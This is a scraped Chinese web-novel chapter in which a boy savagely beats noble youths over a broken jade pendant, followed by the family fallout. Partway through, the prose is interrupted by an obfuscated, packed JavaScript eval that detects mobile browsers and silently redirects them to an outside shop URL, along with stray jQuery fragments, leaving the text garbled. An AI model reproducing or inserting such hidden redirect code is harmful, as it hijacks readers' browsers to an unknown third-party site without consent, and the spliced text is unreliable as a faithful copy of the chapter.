文趣网 > 其他小说 > 反派权臣家的真少爷 > 22. 第二十二章
    起初,几个养尊处优的贵公子们都把这没有当回事,不过碎了一块玉佩,往日里更过分的事情他们都做过,这算不得什么。

    不过见到谢辞岁怔怔站在原地,垂首看碎玉佩,一副被吓傻的模样,让他们忍不住捧腹大笑,胳膊彼此搭着,乐得险些直不起腰来。

    “你看他那样,像死了爹娘似的。”

    “这可怨不得我们,谁让他追着跑,自己摔的可别想着栽到别人头上。”

    “我这个胳膊还疼着,什么牛劲,到底是下贱出身,没轻没重的。”

    “不会吓傻了吧,一块玉佩而已,真是小家子气,没见过什么好东西。”

    “——砰”

    重重一拳对准鼻梁砸来,力如泰山压顶,裹挟着飓风暴雪之势,站在前头的靖国公世子猛地一口鲜血喷出来,咔嚓的碎骨声清脆响亮。

    他猝不及防地跌倒在地,天旋地转,耳鼻渗血,巨大的轰鸣间甚至分不清人影人声。

    谢辞岁骤然钳起了他的双腿,紧紧禁锢住,随后用力旋转他的身躯,捶向周遭围在一起嬉笑讥讽的公子哥。

    如旋风扫地,席卷残云,无一幸免,一圈的人全部被砸得晕头转向,死鱼滚肉般堆垒在一起,惊呼惨叫一声叠过一声。

    随后无差别的重拳兜头砸来,谢辞岁红着眼,已分不清身下是谁的血肉,耳畔听不清杀猪般的惨叫。

    “啊啊啊啊啊啊——”

    “救命………”

    突然的变故吓傻了庭院内所有的人,守院的家丁和护卫纷纷围了上来阻拦,但七手八脚间,根本无法钳制住似是已经陷入发狂的谢辞岁。

    血腥味浓重,骨骼断裂声骇人,像是被深山林野的凶兽搅碎骨头。

    谢辞岁身上弥漫着可怖悚然的气息,飞身一扑,便擒住了为首的护卫,夺过他手中的棍棒,铆劲推手向前一横,力拔山岳,顷刻间便击倒了数十个。

    完全乱成了一团,此时谢辞岁如同咆哮山林的猛虎,越是凑近便越容易被横空来的利爪伤到。

    所有人都被这可怕的非人之力吓得魂飞魄散,毛骨悚然,鸟雀般惊散开来,尖声恐惧。

    凶恶蛮悍之气如黑幕沉云,刹那间横贯在此间天地。

    倒了一群又一群,那群贵公子狼狈地连滚带爬,往日的体统和脸面通通剐下,拼命手脚并用往院外跑去,又赤脸怒骂去叫人来。

    谢辞岁染血的手拖着棍棒,朝着被几个受伤家丁护住的曹明英走去。

    一步一步,震天动地,在曹明英看来,无异于鬼魅修罗从血腥的地域里爬出来嗜血扒皮。

    “哐当——”

    谢辞岁倏然扔了棍棒,遽然跳起,飞身扑在了曹明英身上,狠厉的一拳砸下去。

    “……我错……我……救命……”

    曹明英口吐鲜血,呕出两个断齿来,模糊了矜贵的面容,像是被猛兽的獠牙刺入,他用力推也无法撼动谢辞岁半分,肺腑里的呼吸渐弱。

    ——他从来没有那么接近死。

    “虎奴!虎奴!”

    “主子!”

    “谢辞岁!”

    似是有人在扯着嗓子大喊,撕心裂肺,无数的声音像是抓着他往下坠,他耳边一阵嗡鸣,脑中空白一片。

    ——“谢辞岁”

    岑云谏冷不丁出手,挺力猝然钳制住谢辞岁,将他身下的曹明英解救出来,冷静地再唤了他一声:“谢辞岁,停下来。”

    随后将锦帕包着的碎玉佩搁在了他血红的手上,“在这里。”

    奇异的,见到碎玉的谢辞岁慢慢停了下来,他指节不住发颤,却又紧紧攥紧了锦帕。

    此时,他的耳边才重新充斥进人声。

    不知不觉中,曲阑里的外侧已经站满了人,主人家和宾客听到这一头的动静,纷纷步履匆匆赶了过来。

    见到庭院中如此横七竖八的惨状,皆是难以置信,惊呼出声。

    “我让人带他们去疗伤了。”

    岑云谏垂眸对上了谢辞岁发红的眼眶,蒙了很厚的一层水雾,却强忍着不肯掉下来,咬破的嘴唇渗血殷红,很倔很犟。

    嘶哑的声音从喉间挤出,似是混了细碎的沙砾,“谢谢。”

    只此一声,便让岑云谏的指节蓦然一顿,眼中略过极其复杂的情绪。

    而这一声,更是让死里逃生的曹明英如见鬼一般,哪怕被家人护在身旁也不住颤抖,浑身水淋淋湿透,他不过十二三岁,哪里见过这般煞人的场面。

    “让他滚……让他滚!”

    谢辞岁横眉冷目的一瞬,又让曹明英吓得直往自家娘亲怀里瑟缩躲去,那种惊悚的窒息感如影随形,仿若溺毙般死死缠绕在他脖颈,让他无法喘息。

    “谢家这是欺我曹家无人吗!?”

    见谢辞岁这般目中无人,桀骜不驯,曹夫人气得根本站不稳,勉强撑着身边女使的臂膀,怒声呵斥。

    幼子生辰,却遭此劫难,心肝肉被这般殴打,她怎么忍得下这口气,当即就要让人捆了谢辞岁去会明府见官。

    各勋贵侯爵被打的人家也群情激奋,一时堆叠在一起,聚成巨大的潮流和猛烈的攻势——

    “简直欺人太甚!我家儿郎来赴宴,不过几个时辰就被打成这样。”

    “这天底下还有没有王法了,就算他谢家权势煊赫,也不能这样欺负人!”

    “这事一定要给个说法!决不能轻饶了他!”

    一句接着一句,狂风骤雨般砸在周云舒的耳里,充血的面庞绷紧,细密的冷汗从额间渗出,刹那间只觉天旋地转,头晕眼昏,两脚发软。

    遍地的惨状,七倒八斜横了一地,此情此景,她恨不得直接昏厥过去,实在不相信谢辞岁能闯下这如许大的祸事来。

    这是把谢家的脸面和名声在地下狠狠踩。

    此时,最先冷静下来的是曹国公,他见到岑云谏在此处,又听到他刚刚的言语,便猜到此事或许还有一二分内情,事有蹊跷。

    ——亦或是,可能牵扯卷入了朝局。

    他沉思几息,缓步上前一步,扬声道:“此事还需细查,曹家与谢家向来交好,今日之事,匪夷所思。”

    “不如请谢夫人带谢五少爷回府先行回府,待谢家主君处置。”

    此话一出,最先愣神不解的是曹明英,他没想到向来疼爱自己的阿爹会这般放过罪魁祸首,他鼻涕混着血丝流下,失声哭道:“阿爹——”

    “老爷!”曹夫人眉心紧蹙,紧攥的手下意识扯破了锦帕。

    在场的人谁都没有想到被打得最惨的曹家竟然选择了这样一条路,余下那些勋爵就算想要计较,却又顾忌曹家和谢家。

    前者是陛下的母家,外戚勋爵,后者是陛下宠臣,圣眷优渥。

    可要他们打落牙齿和血吞实在是憋屈和窝火。

    但没有人敢做这个出头鸟,哪怕是愤恨也不能显露人前半分。

    无它,势大欺人。

    谢辞岁却站着不动,明澈的眸光遥遥落在了厅堂内的宴席面上,忽而道:“我还没看到芙蓉酥饼。”

    “……”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17502805|202839||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“……”

    一种莫可名状的荒谬弥漫在此间,一时风声无话,鸟雀哑声。

    没有人能想到惹出这弥天大祸的谢辞岁,此时竟然在关心一道点心?

    荒谬绝伦的同时又觉得他骄横跋扈,野性不驯,实在是祸端。

    安顿好吴决明和谢辞岁两个小厮的苏逾白匆匆赶回来,走近的一刻就听到这一句话,一下就乐了。

    无奈又好笑,估摸着快把这群高门显贵之家气得吐血了。

    这谢辞岁可真是个妙人。

    不一会,岑云谏在众人无言的注视下从曹家女婢的手中接过了用油纸包裹着的芙蓉酥饼,递给了谢辞岁。

    两相对视下,他觑见谢辞岁眼角通红,深深的迷茫和无措潜藏在表面的倔强和不屈里。

    接着,他又听到一声——

    “谢谢。

    ***

    回程的马车上,白攸宁着急检查谢辞岁身上有没有受伤,一边又让人快马加鞭去府衙将此事告知谢清宴。

    她搂着发愣出神的谢辞岁,想要说什么却又全部堵在了喉咙里,尤其是她看到那块碎掉了羊脂白虎玉佩。

    “虎奴……”

    谢辞岁死死攥紧不肯放,双眼通红,紧紧抿着唇,一句话都不肯说

    今日之事,仅仅是开端,怕是有许多麻烦事还要处置,虎奴打得不是旁人,是各家勋贵家的子弟。

    而后白攸宁又想到了刚才周云舒冰冷刺骨的眼神,头疼欲裂,这第一关,该是回到谢家后婆母的责罚和训斥。

    很快入府,白攸宁刚一下车就看到周云舒站在原地,柳叶眉紧拧,心不由得揪了起来。

    只听几声怒斥——

    “快把这孽畜捆起来!”

    “真是无法无天了,我谢家竟然出了这样的一个孽障!”

    一巴掌挥使如风,骤然朝着谢辞岁甩来,白攸宁阻挡不及,却见谢辞岁本能躲过这一下,但周云舒蔻丹长甲在他手背上划出一道鲜红的血痕。

    谢辞岁猛然将周云舒推到到了身后的妈妈女使身上。

    随后翻身而起,三两步腾空越上了深屋高檐,很快身影隐没在层叠的屋舍里。

    这一跌踉跄,周云舒没预料到谢辞岁会还手,毫无防备地往后倒,所幸身后有几个女婢,才不至于摔倒,但抬眼便看到谢辞岁跑得无影无踪了。

    气急败坏下,她怒不可遏地看向了白攸宁,斥道:“都是你们夫妻惯得!”

    “孽畜不听管教,闯下这种大祸来。”

    ***

    户部府衙。

    谢清宴正埋头忙着规整账册文书,批阅勾红,近了年关,诸事繁杂,他已有两日没有回府,将就睡在值房里,一日不过小憩一会。

    搁下笔来,他揉了揉酸痛的眉心,闭目养神,缓一缓终日的疲惫。

    却突然听得“砰”的闯入声,只见青梧快步走进来,脸色难看至极,拱手抱拳,“主子,府里出事了。”

    谢清宴听青梧言简意赅地将今日之事道来后霍然起身,面色铁青,笔墨滚了一地,沾了墨迹。

    他俯身飞速扯过纸张来,落笔疾快,将府衙内的余事交代写下后压在案上,随后揽下衣桁上的大氅,大步流星地朝外面走去,“回府。”

    不过堪堪越过长廊,谢清宴忽而转头问青梧,“你说虎奴在高树上不肯下来,是朝着哪个方位?”

    青梧愣神,但很快搜寻记忆里的画面,道:“五少爷面南。”

    谢清宴的眸光凝了一瞬,“那是昭台山。”